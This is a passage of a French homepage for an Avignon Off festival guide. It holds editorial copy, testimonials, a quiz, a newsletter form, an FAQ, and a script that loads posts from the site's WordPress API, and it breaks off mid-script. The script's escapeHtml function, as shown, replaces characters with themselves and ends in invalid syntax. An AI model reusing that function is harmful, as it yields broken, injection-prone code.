<div class="alo-section-head alo-reveal">
<p class="alo-kicker">Ce que ca change</p>
<h2>Moins d'hesitation, moins de detours, plus de soirees qui restent.</h2>
</div>
<div class="alo-benefit-list">
<article class="alo-benefit alo-reveal">
<div class="alo-benefit-copy-wrap">
<span class="alo-benefit-tag">11 h net</span>
<h3 class="alo-benefit-title">Le premier choix vient plus vite</h3>
<p class="alo-benefit-copy">
Au lieu de scroller cinquante affiches, on part d'une ambiance, d'une heure
et d'un quartier qui collent vraiment a la journee.
</p>
</div>
<div class="alo-benefit-visual alo-fixed-image">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2023/04/Accueil-LE-OFF-Avignon.jpg" alt="Premier cap pris dans Avignon avant la premiere salle du Off" loading="lazy" />
<div class="alo-benefit-visual-copy">
<span>Matin aux remparts</span>
<strong>Deux salles, une rue, un vrai cap.</strong>
</div>
</div>
</article>
<article class="alo-benefit alo-reveal">
<div class="alo-benefit-copy-wrap">
<span class="alo-benefit-tag">Ville tenue</span>
<h3 class="alo-benefit-title">Les trajets deviennent plus justes</h3>
<p class="alo-benefit-copy">
Une salle bien placee, une pause a l'ombre, un second spectacle tenable:
le corps suit mieux quand la ville a deja chauffe.
</p>
</div>
<div class="alo-benefit-visual alo-fixed-image">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2024/06/KICK-N-GO-2024-06-01T160405.356.png" alt="Rideau de theatre pour illustrer un enchainement de spectacles bien pense" loading="lazy" />
<div class="alo-benefit-visual-copy">
<span>Entre deux salles</span>
<strong>Une pause bien placee sauve tout l'apres-midi.</strong>
</div>
</div>
</article>
<article class="alo-benefit alo-reveal">
<div class="alo-benefit-copy-wrap">
<span class="alo-benefit-tag">Soir vivant</span>
<h3 class="alo-benefit-title">Le desir tient jusqu'au dernier verre</h3>
<p class="alo-benefit-copy">
Le programme ne se transforme pas en corvee. Il laisse encore de la place
a une discussion de sortie ou a une petite salle qui monte.
</p>
</div>
<div class="alo-benefit-visual alo-fixed-image">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2023/09/festival-vorbereitung-text-media-header.jpg" alt="Fin de journee et preparation d'une soiree forte pendant le Off" loading="lazy" />
<div class="alo-benefit-visual-copy">
<span>Apres 22 h</span>
<strong>Une sortie qui relance la nuit plutot qu'elle ne l'epuise.</strong>
</div>
</div>
</article>
</div>
</div>
</section>
<section id="author" class="alo-section alo-about alo-author">
<div class="alo-inner alo-about-grid">
<div class="alo-about-sticky alo-reveal">
<div class="alo-about-visual alo-fixed-image">
<img decoding="async" src="https://images.pexels.com/photos/17381496/pexels-photo-17381496.jpeg?auto=compress&cs=tinysrgb&w=1200" alt="Portrait editorial de la redaction LE OFF Avignon" loading="lazy" />
</div>
<blockquote class="alo-quote">
"Un bon guide du Off doit autant connaitre la file d'attente que la scene."
</blockquote>
<div class="alo-quote-source">La redaction LE OFF Avignon</div>
</div>
<div class="alo-about-copy alo-reveal">
<div class="alo-section-head">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-pen-square"></use></svg></span>Auteur</p>
<h2>Une redaction qui connait les files de 13 h, les tracts de midi et les sorties de salle qui changent un programme.</h2>
</div>
<div class="alo-author-note">
<p class="alo-copy">
Derriere la signature, il y a une redaction qui connait les tracts de midi, les arbitrages de 17 h,
la chaleur qui casse les jambes et les soirs ou un spectacle deplace tout le reste.
</p>
<p class="alo-copy">
La signature reste collective: une voix qui marche, reserve, renonce parfois, puis revient vers une petite salle
qui monte quand toute la rue ne parle plus que d'elle.
</p>
</div>
<div class="alo-author-method">
<div class="alo-method-step">
<span class="alo-icon"><svg aria-hidden="true"><use href="#i-map-pin"></use></svg></span>
<div>
<strong>Voir la salle avant l'affiche</strong>
<p class="alo-copy">Le quartier, la taille du lieu, la chaleur et le temps de marche comptent autant que le titre.</p>
</div>
</div>
<div class="alo-method-step">
<span class="alo-icon"><svg aria-hidden="true"><use href="#i-compass"></use></svg></span>
<div>
<strong>Croiser desir, distance et horaire</strong>
<p class="alo-copy">Une envie de scene n'a de valeur que si elle tient dans les jambes, dans la chaleur et dans l'horaire du jour.</p>
</div>
</div>
<div class="alo-method-step">
<span class="alo-icon"><svg aria-hidden="true"><use href="#i-sparkles"></use></svg></span>
<div>
<strong>Laisser une place au bouche-a-oreille</strong>
<p class="alo-copy">Le meilleur Off n'est pas un planning militaire: il garde une ouverture aux conversations et aux detours.</p>
</div>
</div>
</div>
</div>
</div>
</section>
<section id="latest_posts" class="alo-section alo-latest">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-scroll-text"></use></svg></span>Derniers reperes</p>
<h2>Quatre ajouts recents pour rester branche sur Avignon, la scene et la preparation du sejour.</h2>
<p class="alo-copy">
Les ajouts recents gardent seulement les publications qui parlent encore
du festival, de la culture, des lieux ou de la vie autour du Off.
</p>
</div>
<div class="alo-latest-grid alo-reveal" id="latest-posts-grid">
<article class="alo-latest-card"><div class="alo-fixed-image alo-skeleton"></div><div class="alo-post-body alo-post-loading"><div class="alo-skeleton line short"></div><div class="alo-skeleton line"></div><div class="alo-skeleton line"></div></div></article>
<article class="alo-latest-card"><div class="alo-fixed-image alo-skeleton"></div><div class="alo-post-body alo-post-loading"><div class="alo-skeleton line short"></div><div class="alo-skeleton line"></div><div class="alo-skeleton line"></div></div></article>
<article class="alo-latest-card"><div class="alo-fixed-image alo-skeleton"></div><div class="alo-post-body alo-post-loading"><div class="alo-skeleton line short"></div><div class="alo-skeleton line"></div><div class="alo-skeleton line"></div></div></article>
<article class="alo-latest-card"><div class="alo-fixed-image alo-skeleton"></div><div class="alo-post-body alo-post-loading"><div class="alo-skeleton line short"></div><div class="alo-skeleton line"></div><div class="alo-skeleton line"></div></div></article>
</div>
</div>
</section>
<section id="wp_categories" class="alo-section alo-wp-categories">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-layout-grid"></use></svg></span>Autour du sejour</p>
<h2>Budget, demarches, travail: le Off se prepare aussi avec le reste de la vie.</h2>
<p class="alo-copy">
Un mois a Avignon se decide aussi entre billets, logement, organisation du temps et petites questions administratives.
Ces rubriques accompagnent ce hors-scene bien reel.
</p>
</div>
<div class="alo-wp-shell">
<div class="alo-wp-visual alo-fixed-image alo-reveal">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2025/06/location-logement-proche.jpg" alt="Preparation pratique d'un sejour: logement et organisation a Avignon" loading="lazy" />
<div class="alo-wp-visual-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-map-pin"></use></svg></span>Avignon en contexte</div>
<h3>Le spectacle compte, mais le train, la chambre et le budget pesent tout autant sur une semaine reussie.</h3>
<p class="alo-copy" style="color: rgba(255, 244, 228, 0.84);">Un Off bien vecu se joue aussi loin des affiches, dans les preparatifs et les arbitrages concrets de chaque journee.</p>
</div>
</div>
<div class="alo-wp-grid alo-reveal" id="wp-categories-grid"></div>
</div>
</div>
</section>
<section id="trust_indicators" class="alo-section alo-trust">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-kicker">Confiance</p>
<h2>Ce qui aide vraiment quand les murs croulent sous les affiches.</h2>
<p class="alo-copy">
Dans le Off, un bon repere vaut surtout par sa capacite a faire gagner du temps,
sauver une energie et mener vers une salle qui ressemble au moment.
</p>
</div>
<div class="alo-trust-visual alo-fixed-image alo-reveal">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2024/12/edf-pau-comment-la-ville-de.jpg" alt="Terrasse et rue d'Avignon entre deux spectacles" loading="lazy" />
<div class="alo-trust-visual-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-coffee"></use></svg></span>Entre deux affiches</div>
<h3>Les bons reperes font gagner des heures quand toute la ville parle en meme temps.</h3>
</div>
</div>
<div class="alo-trust-marquee alo-reveal">
<div class="alo-trust-pill">Files evitees</div>
<div class="alo-trust-pill">Salles situees</div>
<div class="alo-trust-pill">Horaires tenables</div>
<div class="alo-trust-pill">Quartiers compris</div>
<div class="alo-trust-pill">Pauses utiles</div>
<div class="alo-trust-pill">Soirs qui montent</div>
</div>
<div class="alo-trust-grid">
<article class="alo-trust-card alo-reveal">
<strong>Des listes courtes</strong>
<p class="alo-card-copy">
Pas cinquante pistes pour 18 h, mais quelques choix qui valent vraiment le trajet et le billet.
</p>
</article>
<article class="alo-trust-card alo-reveal">
<strong>Des lieux situes</strong>
<p class="alo-card-copy">
Une cour ombragee, une salle etroite, un quartier dense: ces details changent la journee autant que le titre.
</p>
</article>
<article class="alo-trust-card alo-reveal">
<strong>Des heures qui tiennent</strong>
<p class="alo-card-copy">
Le programme pense les enchainements, les pauses et la fatigue vraiment ressentie entre 15 h et minuit.
</p>
</article>
</div>
</div>
</section>
<section id="testimonials" class="alo-section alo-testimonials">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-kicker">Temoignages</p>
<h2>Trois lecteurs qui ont traverse Avignon avec moins de bruit en tete.</h2>
<p class="alo-copy">
Ils parlent de files evitees, de salles mieux choisies et de soirees qui gardent du nerf jusqu'au bout.
</p>
</div>
<div class="alo-testimonial-grid">
<article class="alo-testimonial alo-reveal">
<p class="alo-testimonial-quote">
"J'ai enfin commence le festival par un gros spectacle,
un pari de 17 h et une terrasse bien placee."
</p>
<p class="alo-testimonial-role">Claire R. / Festivaliere, Lyon</p>
</article>
<article class="alo-testimonial alo-reveal">
<p class="alo-testimonial-quote">
"Le guide ne me vend pas tout. Il m'aide surtout a comprendre ou mettre
mon energie et a quel moment reserver."
</p>
<p class="alo-testimonial-role">Matthieu D. / Habitue du Off, Bruxelles</p>
</article>
<article class="alo-testimonial alo-reveal">
<p class="alo-testimonial-quote">
"J'y retrouve un regard utile sur les lieux, les parcours et les spectacles
qui montent sans effet de mode."
</p>
<p class="alo-testimonial-role">Sarah T. / Programmatrice independante</p>
</article>
</div>
</div>
</section>
<section id="interactive_quiz" class="alo-section alo-quiz">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-sparkles"></use></svg></span>Quiz tempo du Off</p>
<h2>Quel tempo de Off vous ressemble le plus ?</h2>
<p class="alo-quiz-copy">
Huit questions pour faire remonter la version du Off qui attire vraiment: foule, texte, respiration ou flanerie.
</p>
</div>
<div class="alo-quiz-card alo-reveal">
<div class="alo-quiz-progress">
<div class="alo-progress-track">
<div id="quiz-progress-bar" class="alo-progress-bar"></div>
</div>
<div id="quiz-progress-text" class="alo-progress-text">Depart</div>
</div>
<div id="quiz-intro" class="alo-quiz-stage alo-quiz-intro is-active">
<div class="alo-quiz-copy-panel">
<div class="alo-kicker">En quelques questions</div>
<h3 class="alo-hero-title" style="max-width: 10ch; font-size: clamp(2.4rem, 4.8vw, 3.8rem); line-height: 0.92;">
Trouver votre vrai tempo dans le Off
</h3>
<p class="alo-quiz-copy">
Huit reponses, puis un resultat qui met l'accent sur la foule, le texte,
la respiration ou la ville selon la facon dont une journee vous attire vraiment.
</p>
<div class="alo-quiz-badges">
<div class="alo-quiz-badge">
<strong>Dense</strong>
<span>Pour les soirs qui bourdonnent et les affiches qui frappent fort.</span>
</div>
<div class="alo-quiz-badge">
<strong>Curieux</strong>
<span>Pour les textes, les decouvertes et les paris plus singuliers.</span>
</div>
<div class="alo-quiz-badge">
<strong>Respire</strong>
<span>Pour les parcours souples et les journees qui gardent de l'air.</span>
</div>
<div class="alo-quiz-badge">
<strong>Flaneur</strong>
<span>Pour la ville, les terrasses et les reperes qui naissent en marchant.</span>
</div>
</div>
<div class="alo-button-row">
<button id="quiz-start" class="alo-button alo-button-primary" type="button">Mon tempo du Off</button>
</div>
</div>
<div class="alo-quiz-intro-visual" aria-hidden="true">
<img decoding="async" src="https://www.avignonleoff.com/wp-content/uploads/2026/03/impact-veranda-taxe-fonciere.jpg" alt="" loading="lazy" />
<div class="alo-quiz-intro-visual-copy">
<div class="alo-tempo-meta"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-moon-star"></use></svg></span>Grand soir</div>
<h3>Le bon rythme se sent souvent avant meme la premiere reservation.</h3>
</div>
</div>
</div>
<div id="quiz-questions" class="alo-quiz-stage">
<div class="alo-quiz-stage-head">
<div class="alo-question-eyebrow" id="quiz-step">Question 1</div>
<div class="alo-side-line" style="padding-bottom: 0; border-bottom: none;">
<span>Avancee</span>
<strong id="quiz-score">0 / 8</strong>
</div>
</div>
<div class="alo-question-card">
<h3 id="quiz-question-text">Question</h3>
<div id="quiz-options" class="alo-options"></div>
<p id="quiz-feedback" class="alo-quiz-feedback"></p>
</div>
</div>
<div id="quiz-result-stage" class="alo-quiz-stage alo-quiz-result">
<div class="alo-result-panel">
<div class="alo-side-stamp" id="quiz-result-stamp">Off</div>
<div class="alo-result">
<h3 id="quiz-result-title">Votre tempo</h3>
<p id="quiz-result-copy" class="alo-result-copy"></p>
</div>
<div class="alo-result-actions">
<button id="quiz-restart" class="alo-button alo-button-light" type="button">Une autre cadence</button>
<a class="alo-button alo-button-dark" href="#categories">Les parcours</a>
</div>
</div>
<div class="alo-result-side">
<p class="alo-quiz-copy">
Ce resultat ne fige rien. Il met seulement la lumiere sur le type de journee
qui a le plus de chances de tenir dans vos jambes, votre attention et votre envie.
</p>
<ul class="alo-checklist">
<li>Dense: pour les soirs forts et l'energie de foule</li>
<li>Curieux: pour les textes, les surprises et les paris intelligents</li>
<li>Respire: pour les parcours souples et les choix sans friction</li>
<li>Flaneur: pour les quartiers, les terrasses et la ville comme scene</li>
</ul>
</div>
</div>
</div>
</div>
</section>
<section id="newsletter" class="alo-section alo-newsletter">
<div class="alo-inner alo-newsletter-shell">
<div class="alo-reveal">
<div class="alo-section-head">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-mail"></use></svg></span>Newsletter</p>
<h2>Une lettre hebdomadaire pour arriver devant les affiches avec des reperes en tete.</h2>
<p class="alo-newsletter-copy">
Chaque envoi met l'accent sur les spectacles qui montent, les lieux qui comptent,
les horaires a surveiller et les soirs qui peuvent basculer.
</p>
</div>
<div class="alo-chip-row">
<span class="alo-chip">Gratuit</span>
<span class="alo-chip">1 email par semaine</span>
<span class="alo-chip">0 bruit inutile</span>
</div>
<div class="alo-newsletter-badges">
<div class="alo-newsletter-badge">
<strong>Trois a cinq pistes fortes plutot qu'une avalanche de liens</strong>
</div>
<div class="alo-newsletter-badge">
<strong>Des salles, des heures et des quartiers cites clairement</strong>
</div>
<div class="alo-newsletter-badge">
<strong>Des reperes qui donnent envie sans gonfler le programme</strong>
</div>
</div>
</div>
<form class="alo-newsletter-form alo-reveal">
<label class="alo-newsletter-label" for="newsletter-firstname">4 200 lecteurs suivent deja les semaines qui comptent a Avignon</label>
<input id="newsletter-firstname" class="alo-newsletter-input" type="text" placeholder="Votre prenom" />
<input class="alo-newsletter-input" type="email" placeholder="Votre email" />
<button class="alo-newsletter-button" type="submit">Le prochain repere</button>
<p class="alo-newsletter-copy">Une lettre courte pour garder en tete les salles, les heures et les quartiers avant le depart.</p>
</form>
</div>
</section>
<section id="faq" class="alo-section alo-faq">
<div class="alo-inner">
<div class="alo-section-head alo-reveal">
<p class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-badge-help"></use></svg></span>FAQ</p>
<h2>Les questions qui reviennent avant trois jours de salles, de rues et d'affiches.</h2>
</div>
<div class="alo-faq-grid">
<div class="alo-faq-item alo-reveal">
<details>
<summary>Y a-t-il de la place pour les petites salles ?</summary>
<p class="alo-faq-copy">Oui. Les petites jauges, les cours discretes et les salles qui montent comptent autant que les gros titres deja partout sur les murs.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Comment eviter deux salles impossibles a relier ?</summary>
<p class="alo-faq-copy">Le quartier, l'heure et la pause entre deux spectacles comptent autant que le titre. C'est souvent la cle d'un enchainement tenable.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Deux jours sur place, est-ce suffisant ?</summary>
<p class="alo-faq-copy">Oui. Un sejour court gagne meme davantage a partir avec quelques pistes solides plutot qu'avec cent affiches en tete.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Que trouve-t-on dans la lettre hebdomadaire ?</summary>
<p class="alo-faq-copy">Des spectacles qui montent, des lieux a surveiller, des horaires sensibles et quelques soirs a garder libres.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Le quiz sert a quoi exactement ?</summary>
<p class="alo-faq-copy">Il fait ressortir le rythme qui vous convient le mieux: foule, texte, respiration ou flanerie dans la ville.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Les lieux comptent-ils autant que les spectacles ?</summary>
<p class="alo-faq-copy">Oui. Une cour ombragee, une cave surchauffee ou une salle loin des remparts changent concretement l'humeur d'une journee.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Le Off se vit-il bien en famille ?</summary>
<p class="alo-faq-copy">Oui. Les parcours jeune public, les horaires plus doux et les pauses bien placees changent vraiment la donne.</p>
</details>
</div>
<div class="alo-faq-item alo-reveal">
<details>
<summary>Faut-il reserver partout tres tot ?</summary>
<p class="alo-faq-copy">Seulement pour certains gros titres et quelques petites jauges tres convoitees. Le reste depend souvent du jour, du quartier et du bouche-a-oreille.</p>
</details>
</div>
</div>
<div class="alo-faq-outro alo-reveal">
<div>
<h3>A 11 h, 17 h ou 22 h, le bon point de depart n'est jamais le meme.</h3>
<p class="alo-copy">Le bon programme tient dans le temps, dans les jambes et dans la ville. C'est la difference entre une journee subie et un vrai souvenir d'Avignon.</p>
</div>
<div class="alo-button-row">
<a class="alo-button alo-button-primary" href="#curated_selection">La selection du guide</a>
<a class="alo-button alo-button-secondary" href="https://www.avignonleoff.com/festival/">Le repere hebdo</a>
</div>
</div>
</div>
</section>
</main>
<script>
(function () {
document.documentElement.classList.add('alo-motion');
var reveals = Array.prototype.slice.call(document.querySelectorAll('.alo-reveal'));
if ('IntersectionObserver' in window) {
var observer = new IntersectionObserver(function (entries) {
entries.forEach(function (entry) {
if (entry.isIntersecting) {
entry.target.classList.add('is-visible');
observer.unobserve(entry.target);
}
});
}, { threshold: 0.16 });
reveals.forEach(function (item) { observer.observe(item); });
} else {
reveals.forEach(function (item) { item.classList.add('is-visible'); });
}
var apiBase = 'https://www.avignonleoff.com/wp-json/wp/v2';
var curatedGrid = document.getElementById('curated-grid');
var latestPostsGrid = document.getElementById('latest-posts-grid');
var parcoursGrid = document.getElementById('parcours-grid');
var wpCategoriesGrid = document.getElementById('wp-categories-grid');
var wpVisualImage = document.querySelector('.alo-wp-visual .alo-fixed-image img');
var wpVisualCopy = document.querySelector('.alo-wp-visual-copy p');
var parcoursVisuals = {
festival: {
image: 'https://www.avignonleoff.com/wp-content/uploads/2026/03/featured-solege-av.jpg',
alt: 'Scene et energie du Festival Off d Avignon',
cta: 'Voir les billets'
},
demarches: {
image: 'https://images.pexels.com/photos/6863256/pexels-photo-6863256.jpeg?auto=compress&cs=tinysrgb&w=1200',
alt: 'Documents et preparation administrative pour organiser son sejour',
cta: 'Voir les demarches'
},
travail: {
image: 'https://images.pexels.com/photos/3184465/pexels-photo-3184465.jpeg?auto=compress&cs=tinysrgb&w=1200',
alt: 'Espace de travail pour organiser son temps et ses priorites',
cta: 'Voir les articles travail'
},
business: {
image: 'https://images.pexels.com/photos/3183150/pexels-photo-3183150.jpeg?auto=compress&cs=tinysrgb&w=1200',
alt: 'Discussion business et arbitrages de projet en equipe',
cta: 'Voir les articles business'
},
argent: {
image: 'https://www.avignonleoff.com/wp-content/uploads/2025/12/pret-dargent-a-un-ami-conseils-et-limites-1.jpg',
alt: 'Budget et arbitrages d argent pour preparer un sejour a Avignon',
cta: 'Voir les articles argent'
}
};
var wpSectionVisualFallbacks = [
'https://images.pexels.com/photos/1643383/pexels-photo-1643383.jpeg?auto=compress&cs=tinysrgb&w=1200',
'https://images.pexels.com/photos/258154/pexels-photo-258154.jpeg?auto=compress&cs=tinysrgb&w=1200',
'https://images.pexels.com/photos/17674334/pexels-photo-17674334.jpeg?auto=compress&cs=tinysrgb&w=1200'
];
var wpCategoriesFallback = [
{ id: 19, count: 249, name: 'festival', slug: 'festival' },
{ id: 14, count: 1399, name: 'Démarches', slug: 'demarches' },
{ id: 1, count: 1001, name: 'Travail', slug: 'travail' },
{ id: 12, count: 1465, name: 'Business', slug: 'business' },
{ id: 13, count: 757, name: 'Argent', slug: 'argent' }
];
var wantedCategoryOrder = ['festival', 'demarches', 'travail', 'business', 'argent'];
var categoriesEndpoint = apiBase + '/categories?per_page=100&_fields=id,count,name,slug,link';
var latestPostsEndpoint = apiBase + '/posts?per_page=8&orderby=date&order=desc&_embed=wp:featuredmedia';
var wpCategoryCopy = {
festival: 'Programmation, regards sur les spectacles, idees de parcours et tout ce qui fait vibrer juillet a Avignon.',
demarches: 'Billets, logement, papiers ou organisation: les details concrets qui pesent quand le sejour se prepare.',
travail: 'Le Off se cale souvent entre deux obligations, des mails a finir et un agenda qu\'il faut encore tenir.',
business: 'Produire, diffuser, vendre, inviter: l\'economie du festival n\'est jamais tres loin des affiches.',
argent: 'Budget spectacles, trains, logements et verres tardifs: chaque journee d\'Avignon se joue aussi sur ces arbitrages.'
};
function escapeHtml(value) {
return String(value)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
var htmlDecoder = document.createElement('textarea');
function decodeEntities(value) {
htmlDecoder.innerHTML = String(value || '');
return htmlDecoder.value;
}
function stripTags(value) {
return decodeEntities(String(value || '').replace(/<[^>]*>/g, '')).replace(/\s+/g, ' ').trim();
}
function formatDate(value) {
var date = new Date(value);
if (Number.isNaN(date.getTime())) return 'Publication recente';
return date.toLocaleDateString('fr-FR', { day: 'numeric', month: 'short', year: 'numeric' });
}
function imageOrFallback(value, index, fallback) {
return value || fallback[index % fallback.length];
}
function getImage(post) {
try {
return post._embedded['wp:featuredmedia'][0].source_url || '';
} catch (error) {
return '';
}
}
function fetchJson(url) {
return fetch(url).then(function (response) {
if (!response.ok) throw new Error('wp fetch failed');
return response.json();
});
}
function toCategoryIdLookup(items) {
var map = {};
(Array.isArray(items) ? items : []).forEach(function (item) {
if (item && item.id) map[item.id] = item;
});
return map;
}
function toCategoryFallbackLookup(items) {
var map = {};
(Array.isArray(items) ? items : []).forEach(function (item) {
if (item && item.slug) map[item.slug] = item;
});
return map;
}
function resolveWantedCategories(categories) {
var fallbackLookup = toCategoryFallbackLookup(wpCategoriesFallback);
var liveLookup = toCategoryFallbackLookup(categories);
return wantedCategoryOrder.map(function (slug) {
return liveLookup[slug] || fallbackLookup[slug];
});
}
function resolveCategory(post, categoryLookup) {
var ids = Array.isArray(post.categories) ? post.categories : [];
for (var i = 0; i < ids.length; i += 1) {
if (categoryLookup[ids[i]] && categoryLookup[ids[i]].name) {
return categoryLookup[ids[i]].name;
}
}
return 'Selection du guide';
}
function normalizePost(post) {
return {
id: post.id,
date: post.date || '',
link: post.link || '#',
title: stripTags(post.title && post.title.rendered ? post.title.rendered : post.title),
excerpt: stripTags(post.excerpt && post.excerpt.rendered ? post.excerpt.rendered : post.excerpt),
image: getImage(post),
categories: Array.isArray(post.categories) ? post.categories : []
};
}
function dedupePosts(posts) {
var seen = {};
return (Array.isArray(posts) ? posts : []).filter(function (post) {
if (!post || !post.id) return false;
if (seen[post.id]) return false;
seen[post.id] = true;
return true;
});
}
function categoryLink(item) {
return (item && item.link) || ('https://www.avignonleoff.com/category/' + (item.slug || '') + '/');
}
function fetchCategoryHighlight(category) {
if (!category || !category.id) return Promise.resolve({ image: '', excerpt: '', title: '' });
return fetchJson(
apiBase +
'/posts?categories=' + encodeURIComponent(String(category.id)) +
'&per_page=1&orderby=date&order=desc&_embed=wp:featuredmedia'
).then(function (items) {
var post = Array.isArray(items) ? items[0] : null;
if (!post) return { image: '', excerpt: '', title: '' };
return {
image: getImage(post),
excerpt: stripTags(post.excerpt && post.excerpt.rendered ? post.excerpt.rendered : post.excerpt),
title: stripTags(post.title && post.title.rendered ? post.title.rendered : post.title)
};
}).catch(function () {
return { image: '', excerpt: '', title: '' };
});
}
function renderPostMedia(url, alt, loading) {
if (!url) return '<div class="alo-fixed-image alo-placeholder" role="img" aria-label="Illustration indisponible"></div>';
return '<div class="alo-fixed-image"><img decoding="async" src="' + escapeHtml(url) + '" alt="' + escapeHtml(alt || '') + '" loading="' + escapeHtml(loading || 'lazy') + '" /></div>';
}
function renderCurated(posts, categoryLookup) {
if (!curatedGrid) return;
if (!Array.isArray(posts) || !posts.length) return;
var curatedPosts = posts.slice(0, 4);
var lead = curatedPosts[0];
var feature = curatedPosts.slice(1, 4);
if (!lead) return;
var leadCategory = resolveCategory(lead, categoryLookup);
var leadExcerpt = lead.excerpt ? lead.excerpt.slice(0, 190) : '';
curatedGrid.innerHTML =
'<div class="alo-curated-grid">' +
'<a class="alo-curated-item alo-curated-lead-card has-media" href="' + escapeHtml(lead.link) + '">' +
renderPostMedia(lead.image, lead.title, 'lazy') +
'<div class="alo-curated-body">' +
'<div class="alo-curated-meta">' + escapeHtml(leadCategory) + '</div>' +
'<h3 class="alo-curated-title">' + escapeHtml(lead.title) + '</h3>' +
'<p class="alo-curated-deck">' + escapeHtml(leadExcerpt) + '</p>' +
'</div>' +
'</a>' +
'<div class="alo-curated-side">' +
feature.map(function (post, index) {
var featureCategory = resolveCategory(post, categoryLookup);
var featureExcerpt = post.excerpt ? post.excerpt.slice(0, 95) : '';
var featureMedia = '<div class="alo-curated-feature-media">' + renderPostMedia(post.image, post.title, 'lazy') + '</div>';
return '<a class="alo-curated-item alo-curated-feature-card has-media" href="' + escapeHtml(post.link) + '">' +
featureMedia +
'<div class="alo-curated-body">' +
'<div class="alo-curated-meta">' + escapeHtml(featureCategory) + '</div>' +
'<h3 class="alo-curated-title">' + escapeHtml(post.title) + '</h3>' +
'<p class="alo-curated-deck">' + escapeHtml(featureExcerpt) + '</p>' +
'</div>' +
'</a>';
}).join('') +
'</div>' +
'</div>';
}
function renderLatest(posts) {
if (!latestPostsGrid) return;
if (!Array.isArray(posts) || !posts.length) return;
latestPostsGrid.innerHTML = posts.map(function (post, index) {
var title = post.title || 'Publication';
var excerpt = (post.excerpt || '').slice(0, 150);
return '<a class="alo-latest-card has-media" href="' + escapeHtml(post.link) + '">' +
renderPostMedia(post.image, title, 'lazy') +
'<div class="alo-post-body">' +
'<div class="alo-post-meta">' + escapeHtml(index === 0 ? 'Dernier repere' : formatDate(post.date)) + '</div>' +
'<h3 class="alo-post-title" style="font-size:1.7rem;">' + escapeHtml(title) + '</h3>' +
'<p class="alo-post-excerpt">' + escapeHtml(excerpt || 'Lecture recente pour garder Avignon, la scene et le festival dans le viseur.') + '</p>' +
'</div>' +
'</a>';
}).join('');
}
function renderParcoursCards(items, highlights) {
if (!parcoursGrid) return;
if (!Array.isArray(items) || !items.length) return;
parcoursGrid.innerHTML = items.map(function (item, index) {
var highlight = highlights && highlights[index] ? highlights[index] : {};
var visual = parcoursVisuals[item.slug] || {};
var image = highlight.image || visual.image || '';
var copy = highlight.excerpt || wpCategoryCopy[item.slug] || 'Des contenus a lire selon votre moment et votre quartier.';
var cta = visual.cta || 'Voir la rubrique';
var alt = visual.alt || item.name || '';
return '<a class="alo-parcours-card" href="' + escapeHtml(categoryLink(item)) + '">' +
'<div class="alo-parcours-media">' + renderPostMedia(image, alt, 'lazy') + '</div>' +
'<div class="alo-parcours-copy">' +
'<div class="alo-category-count">' + escapeHtml(String(item.count || 0)) + '<span style="font-size:0.9rem;letter-spacing:0.1em;text-transform:uppercase;"> posts</span></div>' +
'<h3 class="alo-category-title">' + escapeHtml(item.name) + '</h3>' +
'<p class="alo-category-copy">' + escapeHtml(copy) + '</p>' +
'<span class="alo-parcours-link">' + escapeHtml(visual.cta || 'Voir la rubrique') + '</span>' +
'</div>' +
'</a>';
}).join('');
}
function renderWpCategories(items, highlights) {
if (!wpCategoriesGrid) return;
if (!Array.isArray(items) || !items.length) return;
var lookup = {};
items.forEach(function (item) { if (item && item.slug) lookup[item.slug] = item; });
if (wpVisualImage) {
var hero = lookup.demarches || items[0];
var heroIndex = wantedCategoryOrder.indexOf(hero.slug || 'festival');
var heroHighlight = highlights && highlights[heroIndex] ? highlights[heroIndex] : {};
wpVisualImage.src = imageOrFallback(heroHighlight.image, 0, wpSectionVisualFallbacks);
wpVisualImage.alt = 'Autour du sejour : ' + (hero && hero.name ? hero.name : 'Avignon');
}
if (wpVisualCopy) {
var heroCopyCategory = lookup.demarches || items[0];
wpVisualCopy.textContent = wpCategoryCopy[(heroCopyCategory && heroCopyCategory.slug) || 'festival'] || wpVisualCopy.textContent;
}
wpCategoriesGrid.innerHTML = wantedCategoryOrder.map(function (slug, index) {
var item = lookup[slug] || wpCategoriesFallback.find(function (fallback) { return fallback.slug === slug; });
var copy = (highlights && highlights[index] && highlights[index].excerpt) || wpCategoryCopy[slug] || 'Contenus utiles autour du sejour et de la preparation.';
return '<a class="alo-wp-card" href="' + escapeHtml(categoryLink(item)) + '">' +
'<div class="alo-section-label"><span class="alo-icon"><svg aria-hidden="true"><use href="#i-layout-grid"></use></svg></span>' + escapeHtml(item.name) + '</div>' +
'<div class="alo-wp-count">' + escapeHtml(String(item.count || 0)) + '<span style="font-size:1rem;letter-spacing:0.08em;text-transform:uppercase;">posts</span></div>' +
